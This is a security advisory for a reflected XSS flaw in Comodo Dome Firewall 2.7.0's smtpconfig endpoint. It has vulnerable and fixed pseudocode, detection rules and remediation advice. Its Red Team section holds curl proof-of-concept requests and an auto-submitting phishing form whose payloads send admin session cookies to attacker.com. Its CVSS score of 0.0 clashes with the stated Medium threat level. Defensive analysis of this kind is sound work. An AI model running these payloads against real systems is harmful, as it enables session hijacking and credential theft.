CVE-2019-25425

Executive Summary

CVE-2019-25425 is a reflected cross-site scripting (XSS) vulnerability in Comodo Dome Firewall version 2.7.0. The flaw exists in the smtpconfig endpoint, where the VIRUS_ADMIN parameter is not properly sanitized. An attacker can craft a POST request containing malicious JavaScript, which, when processed by an administrator's browser, executes arbitrary code in the context of the admin session. This can lead to session hijacking, credential theft, or further compromise of the firewall appliance. No official patch has been released, and the vulnerability remains unpatched.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must visit crafted link or submit form)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to admin context and lack of patch)

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the Comodo Dome Firewall's web interface. The smtpconfig endpoint accepts POST requests with a VIRUS_ADMIN parameter. The application reflects the value of this parameter directly into the HTML response without proper encoding or validation. An attacker can inject arbitrary JavaScript by submitting a payload such as <script>alert('XSS')</script>.

The attack flow:

1. Attacker crafts a malicious POST request to https://target/smtpconfig with VIRUS_ADMIN=<script>...</script>.
2. The attacker tricks an authenticated admin into submitting this request (e.g., via a phishing link or form).
3. The server reflects the payload in the response, executing the script in the admin's browser.
4. The script can steal session cookies, perform actions on behalf of the admin, or exfiltrate data.

Vulnerable vs. Patched Code

Vulnerable Code (Comodo Dome Firewall 2.7.0): The smtpconfig endpoint directly outputs the VIRUS_ADMIN parameter without sanitization.

# Pseudocode of vulnerable handler
def handle_smtpconfig(request):
    virus_admin = request.POST.get('VIRUS_ADMIN', '')
    response = f"<html><body>Virus Admin: {virus_admin}</body></html>"
    return response

Patched Code (Hypothetical): Proper output encoding would mitigate the issue.

# Pseudocode of patched handler
import html
def handle_smtpconfig(request):
    virus_admin = request.POST.get('VIRUS_ADMIN', '')
    safe_virus_admin = html.escape(virus_admin)
    response = f"<html><body>Virus Admin: {safe_virus_admin}</body></html>"
    return response

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC): Use curl to send a malicious POST request. Replace target with the firewall IP.

curl -X POST https://target/smtpconfig \
  -d "VIRUS_ADMIN=<script>alert('XSS')</script>"

For a more advanced payload that steals cookies:

curl -X POST https://target/smtpconfig \
  -d "VIRUS_ADMIN=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>"

Phishing Attack: Create a malicious HTML page that auto-submits the form.

<html>
<body>
<form action="https://target/smtpconfig" method="POST" id="xss">
  <input type="hidden" name="VIRUS_ADMIN" value="<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>">
</form>
<script>document.getElementById('xss').submit();</script>
</body>
</html>

Blue Team

Detection: Monitor for POST requests to /smtpconfig with suspicious VIRUS_ADMIN parameters containing script tags or encoded payloads.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests with <script> in the VIRUS_ADMIN parameter.
• Restrict access to the admin interface via IP whitelisting.
• Use Content Security Policy (CSP) headers to prevent inline script execution.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /smtpconfig with VIRUS_ADMIN parameter containing <script> or javascript:.
  • Outbound connections to attacker-controlled domains from the firewall.
• File IOCs:
  • Log entries showing VIRUS_ADMIN with encoded or plain script payloads.
• Behavioral IOCs:
  • Unusual admin session activity, such as unexpected configuration changes.

Detection Engineering

YARA Rule

rule CVE_2019_25425_XSS {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall smtpconfig endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25425"
    strings:
        $smtp = "/smtpconfig" ascii nocase
        $param = "VIRUS_ADMIN" ascii nocase
        $xss1 = "<script" ascii nocase
        $xss2 = "javascript:" ascii nocase
        $xss3 = "onerror=" ascii nocase
    condition:
        all of ($smtp, $param) and any of ($xss1, $xss2, $xss3)
}

Sigma Rule

title: Reflected XSS Attempt on Comodo Dome Firewall
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /smtpconfig with malicious VIRUS_ADMIN parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/smtpconfig'
        cs-uri-query|contains: 'VIRUS_ADMIN='
    keywords:
        - '<script'
        - 'javascript:'
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25425 Reflected XSS in Comodo Dome Firewall"; flow:to_server; http.method; content:"POST"; http.uri; content:"/smtpconfig"; http.client_body; content:"VIRUS_ADMIN"; nocase; pcre:"/VIRUS_ADMIN=[^&]*(<script|javascript:|onerror=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Upgrade to a patched version if available (check vendor for updates).
  • Apply virtual patching via WAF to block XSS payloads in the VIRUS_ADMIN parameter.
  • Restrict admin interface access to trusted IPs only.
• Long-term Fixes:
  • Implement input validation and output encoding for all user-supplied data.
  • Conduct a security audit of the web interface.
  • Monitor for any signs of compromise and rotate admin credentials.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert